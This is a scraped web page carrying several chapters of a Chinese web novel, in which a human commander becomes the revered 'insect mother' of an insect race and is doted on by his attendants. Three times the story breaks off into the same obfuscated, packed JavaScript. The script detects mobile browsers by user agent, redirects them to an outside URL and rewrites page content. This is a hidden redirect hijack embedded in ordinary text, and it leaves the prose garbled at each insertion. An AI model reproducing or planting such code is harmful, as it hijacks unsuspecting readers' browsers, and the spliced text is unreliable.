他是一个擅长遗忘,擅长抛弃一切的人,因为他从未拥有过昂贵珍惜、价值连城的东西,所以可以比任何人都要自由决绝地离开。 惶恐不安,忐忑彷徨,自然是理所应当的,他早已习惯与它们为伴。 但这一次,他似乎并不是孤立在整个国家之外的透明人。 他笑了笑:“就当是吧。” “你们可以喊我的名字,不用一直喊我……妈妈。”他有些害羞地说着那两个字,言语间有些晦涩。 他不懂尤里尔和兰修斯是怎么轻易把它说出口的。他想,这应该是个很珍重的词语,只要在心头念起,就会产生无尽的怅惘。 他有喊过这个词吗? 肯定没有,他从有记忆以来就是一个人。成年之后的他都完全不敢相信,自己一个流浪儿竟然能活到这么大。 没想到尤里尔一听就开始耍赖皮,翻滚着在他四周游来游去,水花四溅。 “我不要!我就要喊妈妈!我要喊一辈子妈妈!妈妈不要我了呜呜呜……” “……” 哪来的青蛙,一直呱呱呱? 兰修斯侧身将塞西安揽进怀里,挡住飞溅的水滴,塞西安甚至能看见他额角跳动的青筋。 他敢说如果不是自己在这里,兰修斯会立刻与尤里尔打一架。 “好了好了,随你吧。”塞西安有气无力地松了口,他状若不经意地问道,“布朗说的孕育是什么意思?” 兰修斯:“虫母是虫族唯一的雌性,只有虫母能够孕育下一代。母皇统领族群的一切事务,虫侍能协助处理,所以也被称为侍臣。” 塞西安好奇地问:“那虫侍会联合起来造反吗?如果他们的权力足够大的话?” 两人都奇怪地看向塞西安,反倒把塞西安看得不好意思了。他抿着唇,尴尬地往下沉了沉,只露出圆润的头颅。 好吧,是他以人类之心度虫族之腹了。难道虫族就没有过一次造反?人类最擅长这种事情。 “虫母是族群唯一的领袖,他能抛弃雄虫,但雄虫离不开母亲。” 塞西安疑惑地眨眨眼。 尤里尔指了指兰修斯的脑袋:“精神值啊,没有了虫母,虫族的精神值会持续下降,直到退化成野兽。” 他坏心思笑道:“如果兰修斯退化了,我一个人也会照顾好妈妈的哈哈……” “呃!”尤里尔美妙的幻想被痛呼打断,表情一瞬间狰狞起来,但想起塞西安还在,强撑着露出一个比哭还难看的笑容。 塞西安:“……” 他忽然想起艾迪的尾巴,难道是被尾巴打了吗? “蝴蝶也有尾巴吗?艾迪说,这是雄虫辅助人形作战的利器。” 艾迪? 两虫不约而同找到值得被警惕的名字,但也没有权力制止母亲的人际交往。 两根冰凉、覆盖着甲片的条状物缠绕上塞西安的身体。 “胡闹!”塞西安瞬间气红了脸! 他心中一万个后悔,自己信息还没问完,怎么就脑子一抽问到尾巴上去了,现在被占尽便宜! 尾巴尖端讨好似的蹭过来,尤里尔把它拽回来揉成一团,看得塞西安都心惊胆战。 “妈妈,它就是,有时候不太受控制……会失控……” “好了别说了。”塞西安咳了咳,总觉得越说气氛越怪,他都不好继续问了,“把你们的尾巴收起来。” “你们说虫母千年都没有出现,那你们难道活了一千年?” 连兰修斯被他的话逗笑了,一向冷淡的绿眸染上笑意:“当然不是,我们今年刚刚成年。” “虫族有机器繁育技术,现在的雄虫都在育虫中心出生,结束学业后被投放至适合的岗位。” 这样看来,虫族并没有那么迫切地需要虫母生下新的孩子,他最主要的危机并不是生育,而是掩藏自己人类的过往。 看向一无所知的两虫,塞西安却丝毫没有愧疚之感。 他真的心甘情愿做一群陌生物种的母亲吗? 别开玩笑了。 他只是想找一个地方养伤,查清身上的秘密,然后去到真正自由的地方。 在此之前,他受尽了孤军奋战的苦,为自己的硬骨头生吞下最艰涩的恶果,但有人愿意主动站在他身边,他又怎么会拒绝? 浴室里,梳妆镜前的美人白发披散,宽松的浴袍裹住白嫩透粉的身躯,正无聊地盯着镜子里的自己发呆。 身后一人温柔地为他梳理发丝,一人拿着毛巾轻轻吸去上面残留的水分。 兰修斯拿来烘发机,温热的气流瞬间从头皮擦过,舒服到让塞西安眯起双眼,比最名贵的猫儿还要慵懒。 带着两位眷属出门的刹那,几道目光瞬间粘附过来。 塞西安警觉地看过去,那边几虫又各自忙各自的事情,显得极为正经。 他走到莱斯特身后,却不是为他,而是他面前的智脑,蓝色的光影屏幕悬浮在空中,触屏即可操作。 尽管上面都是军队内部保密性最高的事务,莱斯特依然静止在原地,任虫母查看。这本就是他应有的权力。 刚刚洗完澡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554125|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的虫母身上散发出香薰的芬芳,温暖的热量透过薄薄的浴袍穿透过来,让莱斯特靠近他的一段手臂都发烫起来。 他感到呼吸急促,衣服也有些紧,高大的身躯罕见地有些局促。 塞西安全然不知,他只是在想原来虫族也有智脑,不知道和帝国的芯片是否一样。 如果是,那他可以找个机会把112刨出来重见天日了。 塞西安自认为脾气很差,但对那个跟尤里尔一样娇气胡闹的家伙,他的忍耐度出乎意料地高,连他自己都没有察觉到。 也许是因为这么多年只有他们彼此相伴吧。 被埋在厚重黑暗的土壤里,不知道112又要怎么委屈。 另一双手闯进视野,他低头看去,布朗递过来一副全新的智脑:“您对这个很有兴趣?我教您使用吧。” 明明他和莱斯特都在处理公务,虫母眼里居然只有莱斯特,直直略过了他! 因为莱斯特比较大块儿吗?! 虫母身上很香,连带走的风都是香的,香到让虫头晕目眩,他迫不及待地站起身想要靠近。 塞西安伸手抵住他靠近的胸膛,淡淡道:“不必。” 纤细修长的手指抵在胸前,出乎意料地有劲儿,布朗挑眉:“您这样摸我,我还以为您也看上我了呢。希望我不会和奥罗斯一样误会。” 塞西安:“……”这不要脸的虫又开始了。 奥罗斯:“……”自己吃醋就吃醋,还扎他的心干什么? 塞西安连忙收回手,跟有火在烧一样,要不是人多,他指定得在衣服上狠狠擦几下。 万幸的是,奥罗斯及时拯救他于水火之中:“母亲,上完药就休息吧。” 卧室里,又是一张足够塞西安打好几个滚的巨床,他终于忍不住问道:“为什么家具全都这么大?” 奥罗斯小心撕下他肩膀处的防水贴,抹上带着刺鼻气息的药粉,再用绷带缠绕起来。 闻言,他笑了笑反问道:“您的虫体多大呢?” “噢。”原来是按虫体算得,他想了想自己的诡异腹部,确实是自己现在的几倍大,不过虫族会用虫体休息吗? “奥罗斯。”他斟酌地组织语言,顿了顿。 “嗯?”对方轻轻应声,“您有不知道的事情可以随时问我,我以后会教给您虫族的所有事情。您才刚刚出生,不必害羞。” 奥罗斯温柔的眼眸坚定纯洁,不愧是他选择的可靠医生,塞西安松了口气。 果然还是其他几个虫脑子有病,只会到处乱摸,奥罗斯就不会,上完药就老老实实等在一旁。 “虫体,有时候会突然冒出来,嗯……不会走路。” 看着半张脸蒙在被子里支支吾吾说话的塞西安,奥罗斯的心脏砰砰砰地跳动,整只虫都快被萌化了! 妈妈!怎么会!这么可爱! 他按耐住自己的兴奋,用力控制才能平复呼吸:“不必担心,这都是幼虫的正常阶段。好好睡一觉,明天我来喊您起床。” 奥罗斯轻轻合上门,阻断门外明亮的光线。 虫母确实需要好好休息,他已经疲惫不堪,接下来的事情,只需要他们来做。 布朗与莱斯特,两位虫族最高领导人,正借着母亲的客厅谈论着虫族接下来的巨变。 忽然,一条信息打断了他们的谈话: “报告,从归墟007带回的原始虫族全体转化回人形,初步恢复理智,请求指示。” 14. 要不你在这睡吧 半梦半醒间,塞西安皱着眉头蜷缩成一团,习惯性地往后退去。 直到悬空的失重感袭遍全身,他才猛然惊醒,一个翻滚扑腾到床上。 他清醒过来,自己已经不在简陋阴暗的实验室,不需要缩成一团抵在墙角睡觉。 身下宽敞的床铺,温暖的被窝简直就像一场美梦,让他不禁怀疑自己是否真的活着离开了实验室。 浓重的疲倦涌上心头,将他无休止地拽向意识深处,他却硬是较劲似的强睁着眼,不肯就此沉溺。 骨子里的不安全感将他的灵魂一次又一次冲上海岸,直到浑身湿透,沾上海水的咸涩与湿重。 床头,两只蝴蝶偷偷摸摸看着他紧绷的背影,奇怪地摇着触角。 妈妈,怎么不乖乖睡觉呢? 不好好休息的话,身体会更糟糕的。 尤里尔有些急切地在桌上飞来飞去,以兰修斯为圆心旋转,不巧与突然转身的塞西安大眼瞪小眼。 一只黑黢黢的蛾子像是突然死了一样从空中坠下,砸到床头柜发出沉闷的碰撞声。 塞西安:“……?” 打开灯,两只熟悉的黑底碧纹蝴蝶映入眼帘,心头顿时涌上果然如此的无语感。 发丝沾着汗粘附在额角,惨白的瞳孔逼近,形如绝美的鬼魅。 塞西安凝视着装死不动弹的两虫,压低声音:“尤里尔,兰修斯。” 两虫狠狠打了个寒颤,触角低垂下去。 现在的妈妈……怎么……看起来好凶…… “你们过来做什么?”反正睡不着,塞西安索性趴在床头,支着脑袋问话。 来偷偷看你睡觉…… 不,尤里尔当然不能承认。 维持着小小蝴蝶的身躯,他狡辩的声音清晰透彻地传送到塞西安的耳朵:“我担心妈妈睡不好,随时照顾您!” “……” 蝴蝶,说人话了? 塞西安有些惊奇地瞪大眼,十分不客气地伸手把尤里尔抓到手心,毛绒绒的触感实在是太过奇异,他忍不住翻来覆去,掰他的嘴。 “啊啊啊!!” 整个虫体被妈妈捧在手心,温柔地抚摸脑袋和翅膀的感觉真是太棒了,要是他现在有脸,肯定兴奋地红透了! 兰修斯不甘示弱地飞过来,趁机把尤里尔踢走自己躺下,讨好似的蹭塞西安修长的手指,黑色的蝶翅从指间的缝隙穿出。 塞西安这只摸摸,那只也摸摸,简直不亦乐乎:“嘴在哪?怎么说话的?” “妈妈,虫体不能说话,我们现在是在通过精神链接交流。” 尤里尔气愤地逃离这个拥挤的地方,跳到塞西安肩头,躲进他柔软的发丝,跟一个蝴蝶发饰一样。 又一次听见这个词,塞西安回忆起当时在飞船上差点迷失在精神海的恐怖经历,不由地摇摇头。 “布朗说幼虫进入精神海,会迷失在里面。不打开精神海也能通过精神链接交流?” 尤里尔:“嗯嗯,精神链接是与生俱来的联系,母亲你以后还可以通过精神链接控制我们的行动哦。” 这么厉害?塞西安有些惊讶地眨眨眼。 兰修斯:“难道您进入过精神海?!” 一向冷静的他难得躁动地扑棱起翅膀,一下一下搔刮着手心。 “没事,及时被喊醒了。”他安抚地点了点兰修斯的脑袋,“对了,你们是只能单独和我交流吗?” 兰修斯:“是的,雄虫之间没有精神链接。” 所以虫母能单线联络雄虫,但雄虫之间相对孤立,确实对于有利于巩固虫母对族群的掌控。 “那你们变回人形吧,方便一点。” 兰修斯还没来得及制止,一个高大的赤裸身躯就直直砸到塞西安身边,恬不知耻地趴到他身上。 塞西安:“?!!” “我就知道妈妈心疼我,不舍得让我在床头柜上睡觉。”尤里尔轻轻松松就能把塞西安整个人掩在身下,两具躯体立刻紧密贴合,不留一丝缝隙。 兰修斯落在他脑袋上,用自己的小细腿踹着他的脑袋:“快起来!妈妈身上有伤!” 奈何蝴蝶的身躯过于渺小,他的攻击跟挠痒痒没有区别,只能无奈变回人体,抓过旁边的浴袍草草围着,上手把尤里尔扔出去。 他将魂魄飞到天外的塞西安扶起:“妈妈,虫体变回人形没有衣服的。” “……” 他知道,他自己的腹部出现时,也把裤子撕裂了。 塞西安指挥官仍然没有回神,他想到以前在战场上,也有近身作战的时候。 难道虫体变回人形全都赤身裸体?那整个战场上不都得不堪入目?! 荒谬……太荒谬了…… “那你们,不会有羞耻的时候吗?”塞西安木着脸问。 “虫族有特殊的衣服,能附着在皮肤表层,但不太舒服,非战斗人员不会穿。”兰修斯回答。 “至于羞耻,如果自己的身材不如对方高大,应该会自卑而不是羞耻吧?” 虫族向来以武力为胜,体型在很高程度上就已经决定了争斗的胜负。除了虫母之外,没有雄虫会对弱小的同类施以同情。 因为弱小,就代表着死亡。 里面混乱的动静把外面的几虫也招惹进来了,他们毫不犹豫停下几百人的会议,钻进母亲的寝宫。 奥罗斯快要按捺不住自己的拳头了,他罕见地冷了脸:“你们俩个,出来!” “母亲需要充足的睡眠与休息,你们胡闹什么!” 衣衫不整,正围在虫母身边作乱的两虫顿时抖了抖,知错地退下去。 塞西安被重新按回了床上,奥罗斯忍耐着怒火,检查他的伤口,又细心为他掖好被角。 “母亲,如果他们还敢擅闯您的房间,请及时将他们赶出去。如果不方便,请立即喊我前来。” “嗯。”塞西安忽然轻轻一笑,顿时浇灭奥罗斯心头的火焰,“奥罗斯,你比他们靠谱多了,以后我可以无条件信任你吗?” 小声的话语却说出震耳欲聋的效果,让奥罗斯立在原地好久才缓过神来。 他的声音有些颤抖:“可以的,我会为您做任何事。” 塞西安担心地询问:“他们晚上再来打扰我怎么办?” “我会看管好他们的……” “要不你睡那边吧。” “!”奥罗斯倏地涨红了脸,他虫生里从未遇见过如此的厚爱! 妈妈让他,留下! 这张床足够睡下五六个人,奥罗斯却十分拘谨地直直躺在最边缘的位置,生怕挤到受伤的虫母。 独占几乎一整个大床的塞西安:“……” 平时行军作战危难时,他也没少和别人挤一个床铺,他不是什么娇气柔弱的废物。 之所以让奥罗斯留下,是因为他发现蝴蝶二人显然在虫族没有什么权力,甚至连育虫科主任都能让他们轻松滚蛋,更别提莱斯特他们那些领导阶级。 在这个世界,没有权力就像随风飘摇的野草,随便一折就能轻易被拧断脖子。 人类是,虫族也是,这似乎是一切社会状态的通病。塞西安厌恶过,恨过,但他无力抵抗。 他尝试向上,却被送进实验室,他决定放弃,依旧遭到整个贵族圈层的截杀。他无路可退,降落在异族的领地,也陷入同样的纷争。 对于安宁的渴望,大过于厌恶本身,让他想要继续…… 得到一切。 塞西安缓缓入睡,而身旁的奥罗斯是睡不着了,睁着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554126|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诡异的复眼凝视黑漆漆的天花板。 身旁人平稳甜蜜的呼吸传来,柔软的被子甚至将他胸膛起伏的弧度都同等传递到身上,他僵直着身体,不敢发出半点动静。 奥罗斯偷偷看向蜷缩成一团的母亲,睡着后的塞西安又一次顺应了身体的本能,回到了昔日的状态。 眉头紧蹙,恨不得整个人钻进被窝,是极度缺乏安全感的姿态,让人忍不住想要将他按进怀里安抚。 虫母依旧是个需要照顾、安抚、疼爱的孩子。 他的身体、精神海全都没有成熟,根本就不该沾染到那些事情。 奥罗斯下定决心,一定要守护好他,绝不让坏虫玷污他纯洁神圣的身体。 一夜无梦,塞西安醒来时,房间已经被阳光充满。 无论是在哪个国度,这都是一件奢侈的事情。 由于科技的飞速发展,星际出现大量污染区,终日被厚重的雾霾笼罩,后来变成星际的垃圾场,就此废弃。 普通居民往往生活在低楼层,吸收光线防止抑郁,要么去人造温房,要么花钱去顶层短暂享受。 透过干净透明的窗户,塞西安首次细致地观察到湛蓝的天空,洁白的云层,以及眼花缭乱的虫族建筑。 洗漱完毕,他慢悠悠晃出房间。奥罗斯正背对着他摆弄药柜,上面填满了各式各样的药剂,让塞西安不由自主地抬脚溜走。 “母亲,先喝药吧。”奥罗斯喊住了快要溜走的塞西安,有些忍俊不禁。 这是最新送来的适合幼虫的药剂,被布朗院长连夜改良,能研究出的副作用最小,刺激性最弱的药物。 清晨,某位怨气深重的院长亲自把药剂送上来,本想向虫母邀功,却没想到塞西安还在睡眠之中。 他沉默地下去补觉了。 “幼虫大多对药剂非常抵触,但我相信您非常勇敢,一定能一次喝完。”奥罗斯端着一排药剂,微笑着看向塞西安。 “……” 为什么这话听起来不像是鼓励,更像是嘲讽啊? 塞西安面无表情,在奥罗斯赞叹不已的欢呼与鼓掌下一饮而尽。 他接过漱口水,无奈地想虫族还真是把他当小孩子养了,一口一个幼虫。 厨房里传来争吵声,他奇怪地凑近一瞧,兰修斯正在细心准备早餐,而尤里尔在……捣乱。 兰修斯显然已经被惹火了,尤里尔一凑近就用尾巴扇他,将一条漆黑的长尾甩出鞭子的气势,在地面上“啪啪”作响。 “当初不好好学,现在还好意思哭!” 塞西安倚在门框边,饶有兴致地看着尤里尔从上到下,从态度到方法被狠狠“攻击”一番,忍不住“噗嗤”一声笑出来。 尤里尔抱住他的胳膊:“妈妈,你还笑我……” 塞西安盯了盯兰修斯后腰处的空隙,那尾巴刚刚就是从这里伸出来,眨眼就不见了。 他唇角轻挑:“尤里尔也有别的擅长的事,对不对?” 温暖的日光下,他雪白的长发反射出金色的光辉,眉目清隽,整个人都透露出神圣的威严。 妈妈安慰虫,妈妈好。 尤里尔擦去嘴角的口水,低头凝视着那张美丽到让虫失神的脸,忍不住挤过去,把他压在自己和门板之间。 妈妈……妈妈…… 忽然,他的腰肢缠绕上一根更加粗壮的尾巴,将他整个人卷走丢出去,沿着抛物线砸到远处的墙角,发出“咚”的一声。 塞西安忍不住抖了抖,担心地看过去。 “母亲,雄虫皮糙肉厚地很,只要不是断胳膊断腿,基本上没有大问题。”奥罗斯收回尾巴。 “只要您还是幼虫,我就不会让心怀叵测的虫勾引您。” 他是,坚定的,护花使者。 15. 我喜欢乖孩子 奥罗斯昨晚想了一夜,母亲为什么要留自己在身边睡觉。 他从幼虫习性想到童话三百篇,从虫母的诞生想到未来的美好光景,最终得出结论。 母亲是个非常缺乏安全感的孩子,他需要大量的安抚与照顾才能健康长大。 而雄虫无法压抑的欲望显然远远超出他的接受范围,有可能会使得虫母逆反,甚至抗拒他们。 其他几人要么攻击性过强,要么黏腻个没完,在满足虫母亲密需求的同时也对虫母造成不必要的负担。 从始至终都保持冷静包容的奥罗斯则正好弥补了这一点。 虫母在他身上找到了安全感。 他一定不会辜负母亲的信任! 塞西安有些意外地看着和昨日大相径庭的奥罗斯,怎么一觉醒来,对方就像是找到了虫生信仰一样坚毅正直,情绪高昂。 他本想拉拢奥罗斯,制衡一下布朗的权力,没想到还有附加赠品。 免费的挡箭牌,不要白不要。 “过分的亲近确实让我苦恼。”他微挑唇角,心情愉悦地很,也不吝啬说一些哄孩子的话,“奥罗斯,你比我想象中还要贴心。” 功成身退的虫母离开了,只留下奥罗斯在原地心花怒放。 明明虫母并未使用精神链接安抚他,他却觉得一阵又一阵刺激涌入脑海,冲刷着仅剩的理智。 在过往的虫生里,他按部就班完成学业,通过考核进入育虫科,顺利升上主任的位置,却没有一桩一件能够真正触动他的内心,而现在他知道,自己的心只为一人跳动。 这就是虫族至高无上的主人,是他们唯一挚爱的母神。 尤里尔忿忿不平地瞪着满脸痴呆的奥罗斯,因为一句话就失了魂魄,怎么好意思说他啊! 那可是妈妈,谁能拒绝他的魅力!光是站在那里,就忍不住想扑上去亲啃。 而且他可是妈妈最亲密的眷属,和其他普通孩子不一样! 奥罗斯眼疾手快揪住他的衣领,防止他继续跑进去打扰:“我记得你在做饭这门课程上不及格吧?干脆跟我学习如何准备药剂,精细的事情做不了,你打打杂还是可以的……” “?!!” 岂有此理!这简直是把虫按在地上侮辱! 尤里尔一个扑腾就跟他打起来,沉闷的肢体碰撞声再一次响起,两虫抛弃了师生、上下级关系,只作为雄虫争夺着尊严。 嘴角染上淤青,浑身上下都痛得很,尤里尔却毫不在意,下手愈发狠戾,冲着同样挂彩的奥罗斯咧开嘴笑。 “奥罗斯,你连妈妈的名字都不知道吧?真可怜。” “……” 塞西安走进厨房的一瞬间就被这副大阵仗震惊到了。 大大小小花纹精致的盘子摆满整个台面,盛放着足以令普通人倾家荡产的昂贵餐食。各个星系的代表食物都有,主打一个面面俱到。 在这个廉价营养液全面替代饭食的时代,无污染的新鲜食材已经变成奢侈品一样的东西,普通人难以承担。 所以塞西安向来对食物没什么欲望与追求,一支不算难喝的营养液就足以饱腹。 但现在摆在面前的食物却让他狠狠感受到饥饿。 算一算,现在都快中午了,他竟然睡到这么晚才起来。 角落里,五颜六色的透明瓶罐高低不平,塞西安好奇地问:“那些是什么?” “花蜜。”兰修斯有些拘谨地回答。 虽然他在做饭这门课上是满分,但真正到了被检阅的时候,依旧懊恼自己怎么没有多练习一段时间。 “花蜜?”塞西安想了想,“蝴蝶的食谱上是有花蜜的吧?” 花蜜旁摆着精致糕点,清新粉嫩的花朵样式,看上去十分昂贵,让人非常有食欲。 他恍惚间觉得自己真变成了一只蝴蝶。难道他的食谱也跟着改变了吗? 兰修斯叉起一块递到他嘴边,眼神左瞟右瞟不敢看他,听见塞西安的轻笑,才呆呆愣愣地转头。 一张美丽到犯规的俊脸直直放大在眼前,让兰修斯瞬间屏住呼吸,生怕惊扰到他。 纯白色的睫毛扑扇,空无一物的瞳孔并不让人害怕,反而充满诡谲的美感。 流畅瘦削的轮廓更是让虫心疼极了,恨不得把他喂饱,最好把肚子都撑得圆圆的,弥补过去忍受的痛苦。 总之,这副样貌,狠狠踩在虫族的审美点上! 看他魂不守舍,塞西安无奈地笑了笑。 这些虫子总是露出不设防的可爱表情,让他忍不住想要欺负。 能从贫民区厮杀长大的流浪儿,可不是什么善良柔软的家伙。 一句话,一个眼神就能全然掌控的天真虫子,可是会被他利用到骨血都被吞噬殆尽的。 指尖传来震动,兰修斯才恍然回神。 等塞西安咬下那块糕点后烫手般猛地缩回去,无措的模样很难和昨天那个冷酷淡漠的人联系到一起。 “兰修斯,怎么一觉醒来,你就像不认识我了一样?” 猛烈的心跳用力捶打着心脏,兰修斯差点忘了答话:“您……今天太好看了。” 塞西安早上从衣柜里随便拿了最基础的白T和黑裤,此时松松垮垮搭在身上,显得整个人随性又柔和。 八年军旅生活将他束缚在紧绷疲惫的状态里,他都快忘了舒适是什么感觉。 不,即使是没有进入军队前,他的人生也从来与舒适沾不上边。 但兰修斯这么紧张,真的只是因为他好看吗? 塞西安挑起唇角,故意踮起脚尖,凑近兰修斯的耳朵:“谢谢你,不止是因为这顿午饭。以后不用这么浪费,我不挑食。” “!” 一股电流传遍兰修斯全身,刺激地他某个地方都快站起来了。 他懊恼地转身挡住塞西安的视线,斥责自己竟然敢如此冒犯母亲,真是不知羞耻! “您不用谢谢我,这都是我应该做的。”说完这句话,他逃避似的投入收尾工作,平复着自己的心情。 塞西安无聊地在一旁充当好奇宝宝,左摸摸右看看,两个气质同样冷的家伙竟然看上去十分协调。 餐桌上,塞西安默默看着脸上都挂了彩的两虫,兰修斯坐在他身边,一脸平静地给他夹菜。 “你们,打架了?”塞西安忍不住问,竟然连奥罗斯都参与了这场战斗。 奥罗斯在他心里一直都十分乖巧谨慎,进退得当的。 尤里尔尬笑几声,不好意思说话。 雄虫之间的争斗本不该影响到虫母。但打上头的两虫显然失去了理智,不管三七二十一拳头尽往对方身上呼,忘记了等会儿还要和母亲一起吃饭。 奥罗斯衬衫的扣子都掉了几颗,现在敞着领口,露出结实的胸肌,看上去可怜又好笑。 “母亲,雄虫之间的打斗十分正常,您无需费神。”借着这个机会,奥罗斯科普虫族的知识,“只有影响到您的安危与需求,您才需要制止,其余时候不必理会。” 那可真是冷漠无情的领导人啊。 塞西安非常好奇,遇上这样的虫母,虫子也能忠诚地效忠母亲吗?还是会迫不及待,伺机咬下他的脑袋? 但塞西安不需要被血缘与威胁禁锢下的强制忠诚,他不希望与自己的属下貌合神离,也不接受他们各自为敌,相互掣肘。 他要完全的忠诚与绝对的服从。 “这里有我一个伤员就够了,我可不需要病友。”他开玩笑似的警告他们。 奥罗斯低头:“是,母亲。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554127|186855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 尤里尔讪讪笑了笑,咬着筷子,小声认错:“对不起,妈妈,我以后不和别人打架了。” 奥罗斯瞥他一眼,这话谁信啊?! 尤里尔混世魔王,从小就干架到大的名声可是虫尽皆知的,他可不相信这家伙会一夜之间变性。 “我喜欢乖孩子。”塞西安摸了摸尤里尔的脑袋,某虫的眼睛一下子就亮了起来,示好般蹭着塞西安的脖子。 这哪里是蝴蝶,完全就是小狗嘛! 吃过饭,奥罗斯却没有开始教学,而是和昨晚的莱斯特他们一样,开始处理学院里的事务。 塞西安坐在他身边,打开虫族的智脑,照葫芦画瓢地探索未知的事物,看得奥罗斯在一旁心都快萌化了。 虫母就是比那些破雄虫可爱多了,他觉得自己已经无法回去继续从事育虫科的工作了,那些破雄虫谁爱照顾谁照顾吧! 虫母的指尖纤细修长,就像弹奏乐器一样轻轻在光屏上跳跃,眉目中一闪而过的惊奇与恍然大悟都让虫狠狠心动。 好想把妈妈抱到腿上坐着…… 尤里尔坐在他们对面,同样痴迷地看着塞西安。但他同时留了一个心眼,仔细盯着奥罗斯的一举一动。 不许他靠近妈妈,自己也别碰! “叩叩叩——”敲门声打断了他们的沉醉,也把塞西安从探索中叫醒,他已经大致明白了这份智脑的使用方法。 但十分不幸,112与它并不匹配,他以后或许需要找到一个帝国智脑。 一个身穿燕尾西装的中年男人走了进来,一看就是精心打扮过的模样,留了两缕白胡子,头顶甚至还戴着礼帽。 奥罗斯介绍:“这是裁缝皮埃尔,他来测量您的尺寸,为您做合适的衣服。” 皮埃尔满怀热望,激动地向虫母鞠躬,差点弯折到脚面,塞西安看得胆战心惊,总能幻听到骨折的声音。 “敬爱的母亲,我是皮埃尔,希望您不会介意我的奇装异服。” 塞西安:“你好,你的装扮很酷,是你自己设计的吗?” 这身燕尾西装保留了传统的剪裁,但其上叮叮当当让人眼花缭乱又不失秩序的装饰显然是精心设计的。 他还在仔细观察,眼前一晃,皮埃尔已经激动地扑到他腿边,激动地赞叹:“您是第一个夸我的人!您和那些没眼光的雄虫就是不一样!我会一直赞美您!” “……” 塞西安整个人都顿住了,他默默抬头看向奥罗斯,目光中莫名带着些无助。 奥罗斯尴尬地咳了咳,伸手把皮埃尔捞了回去,不着痕迹地拍了拍塞西安的裤子。 “皮埃尔是虫族目前为数不多的裁缝……” “是主星唯一一个!” “他的审美与星际主流审美一致,眼光独特,但失去虫母后,雄虫失去了打扮的欲望,衣食住行都以活着为目标,所以……” “他们根本不懂时尚!” 奥罗斯:“……”那你说?! 皮埃尔绕着塞西安旋转,痛心疾首:“您怎么能和雄虫一样穿这种草率无形的衣服,这绝对是对您的亵渎与轻视!我一定会为您量身定制一衣柜、不、几套房那么多的衣服!” 奥罗斯在他身后冲塞西安摇摇头,点了点自己的脑袋,示意皮埃尔就是这样一个虫。 塞西安被他的动作逗笑:“那就麻烦你了,但我喜欢宽松一些的衣服。” “是的,没错,一切都是以您的意愿为准。”皮埃尔拿出携带来的工具,“您可以将要求与倾向告诉我,之后有了新的想法也可以及时告诉我。” 他十分狡黠地看向塞西安手中的智脑:“我的联系方式……” 尤里尔狠狠挡住他,气愤道:“不可以!妈妈第一个好友应该是我!” 16. 杀了他! 塞西安好笑地问道:“那兰修斯怎么办呢?” 站在远处充当空气的兰修斯动了动耳朵。 妈妈,还记得他…… 别的虫会无视沉默寡言的自己,但妈妈不会。 尤里尔支支吾吾:“嗯、那就,同时加我和兰修斯。” 塞西安好脾气地反问:“这样啊,那我可以同时加兰修斯和你吗?” 啊啊啊,这样他就会变成第二个了! 尤里尔有些委屈地抬眼看他,整张脸都皱起来。 塞西安在他幽怨的眼神里添加了奥罗斯的联系方式。 奥罗斯:胜利者的轻蔑。 皮埃尔耐心地等待着,心想这两个眷属终于有人能治他们了:“当时你们不好好跟我学习,现在就是这个下场,哼。” “你们到底学些什么啊?” 尤里尔掰着指头:“除了战斗课程、基础通识课程外,我们还学做饭、缝纫,茶艺……” 塞西安奇怪:“学这些做什么?” 奥罗斯解释:“眷属的另一个职责就是照顾虫母。” 类似于帝国皇宫里的侍从?虫族竟然让显然身居高位的眷属做这些事情,倒是让塞西安大开眼界。 他不知道,虫母身边的一切职位都是最高等的,哪怕是到虫母的宫殿前站岗的哨兵都比其他虫虫高一等。 我可是母亲身边的人,你亲眼见过母亲吗? 更别提端茶倒水,做饭洗衣这种贴身照顾的岗位了。 量好尺寸后,塞西安被按回床上睡午觉。 他这辈子都没睡过午觉。 他睁着大眼睛空洞地望着房顶,精致繁复的水晶吊灯宛如莲花般绽放。 奥罗斯站在他床边,劝说:“母亲,一小时的午睡十分有利于幼虫的身体健康,您快闭上眼吧。” 他不是幼虫,他是成人。 他是受到了帝国二十四年剥削的成年底层贫民,从来没有睡过午觉。 “奥罗斯,虫族是个什么样的社会?” 也会有很多和他一样,被压在最底层,永远都抬不起头的贫民吗? 也会和他一样,向上向下都是死路一条,最终死在空旷孤寂的星际之中的人吗? “皮埃尔说他是主星唯一一个裁缝,我觉得……有些奇怪。” 虫族主星人口不少,甚至比帝国还要多,这样宏大的星球怎么会只有一个裁缝? “您是第一个夸我的人”,难道虫族一个认同他审美的虫都没有吗? 